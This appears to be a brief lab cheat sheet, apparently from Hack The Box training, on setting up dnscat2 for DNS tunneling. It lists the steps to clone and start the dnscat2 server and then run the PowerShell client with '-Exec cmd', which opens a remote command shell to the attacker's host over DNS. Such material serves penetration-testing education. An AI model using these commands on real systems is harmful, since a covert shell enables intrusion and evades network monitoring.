DNScat2
Setting up dnscat2
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ sudo gem install bundler
$ bundle installStarting the dnscat2 server
$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cacheImporting dnscat2.ps1
$ git clone https://github.com/lukebaggett/dnscat2-powershell.gitPS C:\htb> Import-Module .\dnscat2.ps1
PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd dnscat2 commands
Interacting with the established sessions
Last updated